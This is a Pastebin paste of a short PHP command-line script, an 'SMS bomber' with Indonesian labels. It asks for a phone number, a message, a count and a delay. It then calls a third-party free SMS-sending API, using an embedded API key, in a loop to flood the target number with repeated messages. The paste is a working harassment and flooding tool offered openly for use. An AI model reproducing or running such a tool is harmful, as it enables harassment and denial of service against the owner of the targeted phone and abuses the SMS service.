Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Original SC from Reza & Rebuild With API from _zelsaddr
- // SECURITY GHOST~
- class BOM {
- private $no;
- private $pesan;
- private $jumlah;
- private $jeda;
- public function __construct($no, $pesan, $jumlah, $jeda){
- $this->nope = $no;
- $this->pesan = $pesan;
- $this->jumlah = $jumlah;
- $this->jeda = $jeda;
- }
- public function curl($number, $message){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://v1.mazterin.com/free_sms_sender.php?no={$number}&pesan={$message}&key=83a002e8ffbe10a8e5bfd289b565b247092a9b70");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36");
- $data = curl_exec($ch);
- curl_close($ch);
- return $data;
- }
- public function BOMING(){
- for ($i=1; $i<=$this->jumlah; $i++) {
- $data = json_decode($this->curl($this->nope, urlencode($this->pesan." ( ".$i." )")), true);
- echo $i." .] ".$data['result']['isi_pesan']." | ".$data['result']['status']."\n";
- sleep($this->jeda);
- }
- }
- }
- echo "NO HP : "; $no = trim(fgets(STDIN));
- echo "MESSAGE : "; $message = trim(fgets(STDIN));
- echo "JUMLAH : "; $jml = trim(fgets(STDIN));
- echo "DELAY : "; $delay = trim(fgets(STDIN));
- $BOM = new BOM($no, $message, $jml, $delay);
- $BOM->BOMING();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement